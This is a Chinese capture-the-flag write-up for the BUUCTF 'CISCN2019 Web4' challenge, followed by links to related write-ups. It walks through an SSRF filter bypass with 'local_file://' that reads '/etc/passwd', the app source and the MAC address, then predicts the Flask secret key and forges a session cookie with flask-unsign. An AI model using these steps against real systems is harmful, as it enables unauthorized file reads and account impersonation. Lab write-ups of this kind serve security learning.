BUUCTF-[CISCN2019 华东南赛区]Web4

看题



点击Read somethings,会跳转到

http://3fd8b1f9-614f-47ff-8e79-0f678e7bb4eb.node3.buuoj.cn/read?url=https://baidu.com

看url应该不是PHP,因为PHP几乎没有用这种路由,直接猜flask。使用read?url=local_file:///etc/passwd读取内容。

读取源码:read?url=local_file:///app/app.py

import re, random, uuid, urllib
from flask import Flask, session, request app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True @app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>' @app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response' @app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied' if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)

看这个地方

def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'

当session中username=fuck时,可以直接得到flag。

所以,骚操作来了:伪造session。

session可不是乱替换的,它是有备而来......(=_=)

准备

伪造session需要密钥,而密钥的生成方式源码也已经给出了。

random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

对于伪随机数,当seed固定时,生成的随机数是可以预测的,也就是顺序固定的,所以只要知道seed的值即可。这里的seed使用的uuid.getnode()函数,该函数用于获取Mac地址并将其转换为整数。所以我们还需要读一下Mac地址。

local_file:///sys/class/net/eth0/address

得到Mac地址(每个人都不一样):

02:42:ac:10:a1:50

用python2生成随机数,用python3的话生成小数的位数会不一样。

import random
random.seed(0x0242ac10a150)
print(str(random.random()*233))

得到随机数

222.550669756

session替换

有很多大佬用的是flask-session-cookie-manager-master这个工具,

我也用了,捣鼓了半天,一直报错。。。

然后师哥给我发了这个,他说:“你在练死劲,那不好使。”

https://github.com/Paradoxis/Flask-Unsign

具体安装过程在README.md中,内容是英文,加油!

(这个工具需要python版本大于等于3.6。

个人感觉在kali-Linux环境下更好安装和使用)

安装过程中

如果在执行该命令时报错

pip3 install flask-unsign[wordlist]

可以试着对pip3进行换源,很简单,可以去百度搜一下

(不过,我还是给出来了啦(=_=))

【临时使用国内源】

pip install -i https://pypi.tuna.tsinghua.edu.cn/simple some-package

【设为默认】(设置默认的话,pip版本是需要更新的)

pip install pip -U
pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple

安装完后

flask-unsign --decode --cookie 'eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.YJuCKw.COSA9fupuOO-gxLmD0q5u_lkLCY'

对session解密后得到{'username': b'www-data'}

www-data替换为fuck,即{'username':b'fuck'}

然后对其进行加密

flask-unsign --sign --cookie '{'username':b'fuck'}' --secret  '222.550669756' --no-literal-eval

就会生成替换的session

Int1c2VybmFtZTpiZnVja30i.YJvEYg.fL7nrdiYaqWOKWTv6800WKws9tM

替换后,读取flag

http://3fd8b1f9-614f-47ff-8e79-0f678e7bb4eb.node3.buuoj.cn/flag

就能得到flag了。

这题挺考验我的,因为我太菜了(=_=)

BUUCTF-[CISCN2019 华东南赛区]Web4的更多相关文章

  1. BUU-CTF[CISCN2019 华东南赛区]Web11

    BUU-CTF[CISCN2019 华东南赛区]Web11 页面最下端有提示Build with Smarty ! 确定页面使用的是Smarty模板引擎.输入{$smarty.version}就可以看 ...

  2. 刷题[CISCN2019 华东南赛区]Web4

    解题思路 打开有一个链接,那先点击一下 发现url处,很像命令执行,试一试.发现无论是什么都是no response,又是各种尝试 发现直接传?url=/etc/passwwd可以爆出回显,难道不是命 ...

  3. [BJDCTF2020]The mystery of ip|[CISCN2019 华东南赛区]Web11|SSTI注入

    记录一下BUUCTF中两个类似的SSTI注入关卡 [BJDCTF2020]The mystery of ip-1: 1.打开之后显示如下: 2.在hint.php中进行了相关提示,如下: 3.既然获取 ...

  4. [CISCN2019 华东南赛区]Web11

    [CISCN2019 华东南赛区]Web11 写在前面 参考文章:Smarty SSTI 1.{php}{/php} Smarty已经废弃{php}标签,强烈建议不要使用.在Smarty 3.1,{p ...

  5. [CISCN2019 华东南赛区]Double Secret

    0x01 进入页面如下 提示我们寻找secret,再加上题目的提示,猜测这里有secret页面,我们尝试访问,结果如下 根据它这个话的意思,是让我们传参,然后它会给你加密,我们试一下 发现输入的1变成 ...

  6. 刷题记录:[CISCN2019 总决赛 Day1 Web4]Laravel1

    目录 刷题记录:[CISCN2019 总决赛 Day1 Web4]Laravel1 解题过程 刷题记录:[CISCN2019 总决赛 Day1 Web4]Laravel1 题目复现链接:https:/ ...

  7. BUU XSS COURSE 1 & [CISCN2019 华东北赛区]Web2

    BUU XSS COURSE 1 & [CISCN2019 华东北赛区]Web2 XSS的题目没怎么做过,比赛基本上也没有(=_=),总结下今天做的两题 都是看赵总视频现学现做的,这里附上学习 ...

  8. BUUCTF | [CISCN2019 华北赛区 Day1 Web2]ikun

    步骤: 找到lv6的购买出,修改折扣买lv6 :然后找到admin的登陆界面,JWT破解,登陆admin :点击一键成为大会员,利用python反序列化漏洞读取flag 解析: 这题师傅们的WP已经很 ...

  9. BUUCTF | [CISCN2019 华北赛区 Day1 Web1]Dropbox

    步骤: 1.运行这个: <?php class User { public $db; } class File { public $filename; } class FileList { pr ...

随机推荐

  1. odoo视图 “动作” 里添加菜单按钮:案例

    ####################################################################################odoo中常用方法,在动作里面添 ...

  2. vue 使用 lang="scss" 报错

    npm install sass-loader@7.3.1 --save-dev npm install node-sass --save npm install style-loader --sav ...

  3. APICloud的真机wifi连接问题

    APICloud的真机wifi连接问题 在APICloud的真机wifi连接时需要注意事项与解决问题. 1.首先将项目拉取到本地,用APICloud Studio 2打开(也可以用webStorm配置 ...

  4. Spring Messaging 远程命令执行漏洞(CVE-2018-1270)

    影响版本 Spring Framework 5.0 to 5.0.4 Spring Framework 4.3 to 4.3.14 参考 https://www.it610.com/article/1 ...

  5. 浅谈Blazor开发的那些事

    在这篇文章中,我们将解决一些常见的Blazor问题.具体来说就是"什么是Blazor",但更重要的是"为什么要用Blazor".既然我们已经有了Angular. ...

  6. netty系列之:基于流的数据传输

    目录 简介 package和byte 手动组合 Byte的转换类 ReplayingDecoder 总结 简介 我们知道由两种数据的传输方式,分别是字符流和字节流,字符流的意思是传输的对象就是字符串, ...

  7. laod

    https://iiio.io/download/20170120/ https://laod.cn/hosts/2017-google-hosts.html Copyright (c) 老D博客:h ...

  8. Linux 内核的代码仓库太不一样了,光克隆都让我挠头,克隆后居然还丢文件,你肯定也会遇到!!!

    一个肯定能让你节省几个小时的小知识 大家好,我是 小猿来也,一个人称撸(划)码(水)小能手的程序猿. 最近一段时间,每次经过旁边大佬工位,总是发现他在快速的切屏,不知道在搞什么?难道他发现了快乐星球? ...

  9. UNIX环境高级编程APUE练习4.6-实现类似cp(1)的程序,保留文件中的空洞

    1 题面 编写类似cp(1)的程序,它复制包含空洞的文件,但是不将字节0写到输出文件中去. 2 基本思路 首先要搞清楚空洞的性质以判断一个文件是否有空洞,以及空洞的位置 知道了空洞的位置之后,读到源文 ...

  10. 040_Spring注解开发

    目录 Spring注解开发 bean注册到Spring容器中 applicationContext.xml添加包扫描注解 实体类添加注解@Component 属性注入 属性添加注解@Value(&qu ...